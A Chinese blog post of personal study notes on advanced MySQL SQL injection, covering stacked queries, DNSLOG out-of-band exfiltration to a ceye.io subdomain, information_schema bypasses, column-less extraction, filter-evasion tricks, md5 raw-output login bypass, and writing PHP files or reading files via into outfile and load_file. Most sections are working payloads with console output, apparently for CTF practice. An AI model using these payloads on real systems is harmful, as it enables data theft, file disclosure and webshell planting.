• sql注入中的其他姿势


    前言

    三大注入基本讲完了,作为收尾,这篇文章来记录一下注入其他知识,持续补充。

    堆叠注入

    解释:set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句
    这里我用16进制来表示user表赋值给变量a
    然后预备一个名叫execsql的语句。
    然后执行。而如果想要执行这么多语句,我们必须要能够多语句执行,因此这个想法也就造就了堆叠注入。堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
    想了解的可以去看一个ctf题目[强网杯 2019]随便注,以前也写过https://www.cnblogs.com/wangtanzhi/p/11845760.html

    DNSLOG注入

    参考:

    https://www.anquanke.com/post/id/98096

    如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可

    dnslog平台:http://ceye.io/
    mysql> use security;
    Database changed

    mysql> select load_file('\\test.xxx.ceye.io\abc');
    +-------------------------------------------+
    | load_file('\\test.xxx.ceye.io\abc') |
    +-------------------------------------------+
    | NULL                                      |
    +-------------------------------------------+
    1 row in set (22.05 sec)
    
    mysql> select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc'));
    +----------------------------------------------------------------------+
    | load_file(concat('\\',(select database()),'.xxx.ceye.io\abc')) |
    +----------------------------------------------------------------------+
    | NULL                                                                 |
    +----------------------------------------------------------------------+
    1 row in set (0.00 sec)
    

    UNC路径
    其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

    sss.xxx est

    这也就解释了为什么CONCAT()函数拼接了4个了,因为转义的原因,4个就变成了2个,目的就是利用UNC路径。

    tips:

    因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

    MySQL数据库的Innodb引擎的注入

    在对应代码中过滤了information关键字,无法使用information_schema.tables以及information_schema.columns进行查找表和列名。
    进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

    information_schema:

    简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

    ​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

    MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 
    mysql默认是关闭InnoDB存储引擎的

    
    mysql> select * from mysql.innodb_table_stats;
    
    mysql> mysql> select * from mysql.innodb_index_stats;
    
    mysql.innodb_table_stats where database_name=database();
    +------+
    | flag |
    +------+
    | 1    |
    | flag |
    +------+
    2 rows in set, 1 warning (0.00 sec)
    
    mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();
    +----------------+
    | flag           |
    +----------------+
    | 1              |
    | flag,flag,flag |
    +----------------+
    2 rows in set, 1 warning (0.00 sec)
    

    sys

    MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯
    其中对我们最有用的资讯大概就是statement_analysis表中的query,里面纪录着我们执行过的SQL语句(normalize过的)和一些数据。

    mysql> select query from sys.statement_analysis;
    限制:
    mysql ≥ 5.7版本

    般要超级管理员才可以访问sys

    bypass information_schema

    参考链接:

    https://www.anquanke.com/post/id/193512

    进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

    information_schema:

    简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

    ​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

    MySQL5.7的新特性:

    由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

    mysql默认是关闭InnoDB存储引擎的

    注入中在mysql默认情况下就可以替代information_schema库的方法

    schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
    

    schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息

    想通过注入获取到没有自增主键的表的数据怎么办?

    schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
    

    payload:

     schema_auto_increment_columns 
     ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
    
    schema_table_statistics_with_buffer 
    ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
    

    获取字段名

    获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+
    

    获取次列及后续列名

    ?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
    

    限制:
    mysql ≥ 5.7版本

    般要超级管理员才可以访问sys

    无列名注入

    参考链接:
    https://www.jianshu.com/p/6eba3370cfab

    在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
    在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
    正常查询:

    使用union查询:

    就可以继续使用数字来对应列,如2对应了表里面的用户名:

    当  ` 不能使用的时候,使用别名来代替:

    反单引号表示列名或者表名

    在注入中查询多个列:

    语句
    一般都是:

    (select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名 
    

    ((select c from (select 1,2,3 c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
    

    当通过查询得到新的table时,必须有一个别名,即每个派生出来的表都必须有一个自己的别名。

    所以:

    select count() from (select * from list where name="xiao") as t;
    select count(
    ) from (select * from list where name="xiao") t;

    以上两种方式中 t 都是表示派生表别名,此名必须有。t为建立的临时表,作用域为select语句。

    异或注入

    在and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。

    mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;
    Empty set (0.00 sec)
    
    mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1;
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    

    防御手段绕过

    参考:

    https://xz.aliyun.com/t/5505#toc-2

    https://xz.aliyun.com/t/7169#toc-11

    改用盲注

    union select 逗号被过滤掉

    利用join注入,payload如下

    mysql> select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b;
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    | 1    | 2            |
    +------+--------------+
    2 rows in set (0.00 sec)
    

    功能函数逗号被过滤

    利用from...for...进行绕过

    MID 和substr 函数用于从文本字段中提取字符

    mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    
    mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='s',1,0);
    Empty set (0.00 sec)
    

    limit中逗号被过滤

    利用limit..offset进行绕过
    limit 9 offset 4表示从第十行开始返回4行,返回的是10,11,12,13

    mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
    +------------+
    | table_name |
    +------------+
    | admin      |
    +------------+
    1 row in set (0.00 sec)
    
    mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1;
    +------------+
    | table_name |
    +------------+
    | ctf_test   |
    +------------+
    1 row in set (0.00 sec)
    

    等号绕过

    可以使用like、rlike、regexp 或者<>。盲注时也可以利用运算符,^、+、-等,观察返回结果与页面变化即可,举一反三灵活运用。

    还有另外一种特殊的代替方法,利用locate,position,instr三种函数进行判断

    mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    
    mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    
    mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    

    数字型过滤and or

    mysql> select * from users where id=1/(select sleep(3));
    Empty set, 17 warnings (51.06 sec)
    

    md5注入

    $sql = "SELECT * FROM admin WHERE username = admin pass ='".md5($password,true)."'";
    

    当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or' 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。

    数字型过滤and or

    mysql> select * from users where id=1/(select sleep(3));
    Empty set, 17 warnings (51.06 sec)
    

    substr替换

    mid,left,right,substring,lpad,rpad等函数替换

    在没有列名的情况下检索数据

    链接:

    https://www.smi1e.top/sql注入笔记/#i-10

    mysql> SELECT * FROM USERS WHERE ID =1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | 123      | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    mysql> SELECT * FROM USERS WHERE ID = ((select 1,123,'Dumb') <= (select * from users limit 1));
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | 123      | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    mysql> SELECT * FROM USERS WHERE ID = ((select 2,123,'Dumb') <= (select * from users limit 1));
    Empty set (0.00 sec)
    

    通过小于号替换等号,可以逐字符检索出数据。不过还有一个问题——MySQL中的字符串比较在默认情况下是不区分大小写的。

    将字符串转换为二进制格式后,会强制进行字节对字节的比较

    mysql> select 'd'='D';
    +---------+
    | 'd'='D' |
    +---------+
    |       1 |
    +---------+
    1 row in set (0.00 sec)  
    mysql> select BINARY('d')>BINARY('D');
    +-------------------------+
    | BINARY('d')>BINARY('D') |
    +-------------------------+
    |                       1 |
    +-------------------------+
    1 row in set (0.00 sec)
    mysql> select (select 1,123,BINARY('dumb')) <= (select * from users limit 1);
    +----------------------------------------------------------------+
    | (select 1,123,BINARY('dumb')) <= (select * from users limit 1) |
    +----------------------------------------------------------------+
    |                                                              0 |
    +----------------------------------------------------------------+
    1 row in set (0.01 sec)
    

    不过BINARY中含有关键字in。
    MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))也会返回一个二进制字符串。

    CAST (expression AS data_type)
    参数说明:
    
    expression:任何有效的SQServer表达式。
    AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
    data_type:目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。
    

    load_file&into outfile

    这两个函数在sql注入中是影响比较大的两个函数,如果能成功利用,即可getshell和读取任意文件,但作用很大,同样限制条件也很多。

    into outfile
    1.首先要知道网站的绝对路径(可从报错或者phpinfo()中获得)

    2.拥有file权限

    3.secure_file_priv限制。通过SHOW VARIABLES LIKE "secure_file_priv"查看信息

    mysqld --secure_file_priv=null(不允许导入导出)

    mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下)

    mysql --secure_file_priv=(任意导入导出)
    into outfile有四种写入文件的方式

    通过union注入写入文件

    mysql> select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php';
    Query OK, 2 rows affected, 1 warning (0.01 sec)
    

    通过FIELDS TERMINATED BY写入文件

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;Query OK, 1 row affected, 1 warning (0.01 sec)
    

    FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。
    通过LINES TERMINATED BY写入文件

    LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
    Query OK, 1 row affected, 1 warning (0.00 sec)
    

    通过LINES TERMINATED BY写入文件

    LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
    Query OK, 1 row affected, 1 warning (0.00 sec)LINES STARTING BY写入shell
    

    用法与LINES TERMINATED BY一样,payload如下

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;
    Query OK, 1 row affected, 1 warning (0.01 sec)
    

    load_file

    1.要求拥有file权限

    2.知道文件所在绝对路径

    3.同样受secure_file_priv限制

    union注入进行load_file

    效果如下:

    mysql> select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php');
    +----------------------+
    | flag                 |
    +----------------------+
    | 1                    |
    | <?php phpinfo();?>1
     |
    +----------------------+
    2 rows in set, 1 warning (0.01 sec)
    

    利用报错注入进行load_file

    测试:

    
    mysql> select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~<?php phpinfo();?>1
    ~'
    

    成功得到文件内容

    利用时间盲注进行load_file

    测试如下:

    mysql> select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1);
    Empty set, 1 warning (3.00 sec)
    

    成功延时3s,可配合脚本得到文件内容。

    利用load_file扫描文件是否存在

    
    mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0);
    ERROR 1105 (HY000): XPATH syntax error: '~0~'
    mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0);
    ERROR 1105 (HY000): XPATH syntax error: '~1~'
    

    通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。

    绕过未知字段名的技巧

    waf拦截了information_schema、columns、tables、database、schema等关键字或函数
    前面也提过了,其实很多都相通,只不过改动了一些地方

    mysql> select * from users;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    ..............
    
    mysql> select `3` from (select 1,2,3 union select * from users)a limit 1,1;
    +------+
    | 3    |
    +------+
    | Dumb |
    +------+
    1 row in set (0.00 sec)
    
    mysql> select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;
    +---+----------+------------+
    | 1 | 2        | 3          |
    +---+----------+------------+
    | 2 | Angelina | I-kill-you |
    +---+----------+------------+
    1 row in set (0.00 sec)
    

    如果不允许使用union

    mysql> select * from users where id=1 and (select * from (select * from users as a join users as b)
    as c);
    ERROR 1060 (42S21): Duplicate column name 'id'
    
    利用using爆其他字段
    mysql> select * from users where id=1 and (select * from (select * from users as a join users as b 
    using(id))as c);
    ERROR 1060 (42S21): Duplicate column name 'username'
    
    mysql> select * from users where id=1 and (select * from (select * from users as a join users as b
    using(id,username))as c);
    ERROR 1060 (42S21): Duplicate column name 'password'
    

    这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

    比较符号绕过

    between a and b:返回a,b之间的数据,不包含b。
    greatest()、least():(前者返回最大值、后者返回最小值)
    ​ eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

    ​ 所以上述语句就是与64比较,当页面正常返回时说明真实的ascii码小于或等于64,继续fuzz即可。

    绕过'过滤

    hex编码
    SELECT password FROM Users WHERE username = 0x61646D696E
    
    char编码
    SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
    
    %2527
    主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。
    

    一个有趣的编码转换导致的注入:

    再强调一下原文出处,这个文章写的太好啦:

    https://xz.aliyun.com/t/7169#toc-1
    gbk已经是一个老生常谈的问题,还有一个就是latin1造成的编码问题

    <?php//该代码节选自:离别歌's blog$mysqli = new mysqli("localhost", "root", "root", "cat");
    
    /* check connection */if ($mysqli->connect_errno) {
        printf("Connect failed: %s
    ", $mysqli->connect_error);
        exit();}
    
    $mysqli->query("set names utf8");
    
    $username = addslashes($_GET['username']);
    
    //我们在其基础上添加这么一条语句。if($username === 'admin'){
        die("You can't do this.");}
    
    /* Select queries return a resultset */$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
    
    if ($result = $mysqli->query( $sql )) {
        printf("Select returned %d rows.
    ", $result->num_rows);
    
        while ($row = $result->fetch_array(MYSQLI_ASSOC))
        {
            var_dump($row);
        }
    
        /* free result set */
        $result->close();} else {
        var_dump($mysqli->error);}
    
    $mysqli->close();?>
    

    建表语句如下:

    CREATE TABLE `table1` (
      `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
      `username` varchar(255) COLLATE latin1_general_ci NOT NULL,
      `password` varchar(255) COLLATE latin1_general_ci NOT NULL,
      PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
    

    我们设置表的编码为latin1,事实上,就算你不填写,默认编码便是latin1。

    我们往表中添加一条数据:insert table1 VALUES(1,'admin','admin');

    我们对用户的输入进行了判断,若输入内容为admin,直接结束代码输出返回,并且还对输出的内容进行addslashes处理,使得我们无法逃逸出单引号。

    我们注意到:$mysqli->query("set names utf8");这么一行代码,在连接到数据库之后,执行了这么一条SQL语句。

    set names utf8;相当于:

    mysql>SET character_set_client ='utf8';
    mysql>SET character_set_results ='utf8';
    mysql>SET character_set_connection ='utf8';
    

    PHP的编码是UTF-8,而我们现在设置的也是UTF-8,怎么会产生问题呢?
    SQL语句会先转成character_set_client设置的编码。但,他接下来还会继续转换。character_set_client客户端层转换完毕之后,数据将会交给character_set_connection连接层处理,最后在从character_set_connection转到数据表的内部操作字符集。

    因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。

    来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1

    这里需要讲一下UTF-8编码的一些内容。
    一字节时范围是[00-7F]
    两字节时范围是[C0-DF][80-BF]
    三字节时范围是[E0-EF][80-BF][80-BF]
    四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

    然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:

    所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4。

    利用这一特性,我们输入:?username=admin%c2,%c2是一个Latin1字符集不存在的字符。

    但是,这里还有一个Trick:Mysql所使用的UTF-8编码是阉割版的,仅支持三个字节的编码。所以说,Mysql中的UTF-8字符集只有最大三字节的字符,首字节范围:00-7F、C2-EF。

    而对于不完整的长字节UTF-8编码的字符,若进行字符集转换时,会直接进行忽略处理。

    参考

    https://www.smi1e.top/sql注入笔记/#Mysql-2
    https://xz.aliyun.com/t/5505#toc-2
    https://www.chabug.org/web/869.html
    https://xz.aliyun.com/t/7169#toc-11

  • 相关阅读:
    【总结】编写自己的JDBC框架
    笔者带你剖析淘宝TDDL(TAOBAO DISTRIBUTE DATA LAYER)
    高性能jdbc封装工具 Apache Commons DbUtils 1.6(转载)
    简单通用JDBC辅助类封装
    word2010中怎样快速修改同级标题格式
    怎么批量修改Word表格的宽度
    MS WORD 表格自动调整列宽,自动变漂亮,根据内容自动调整 .
    PowerDesiger 15逆向生成工程E-R图及导出word表格
    PowerDesigner-自定义生成WORD
    PowerDesigner如何自定义报表模板
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12594949.html
Copyright © 2020-2023  润新知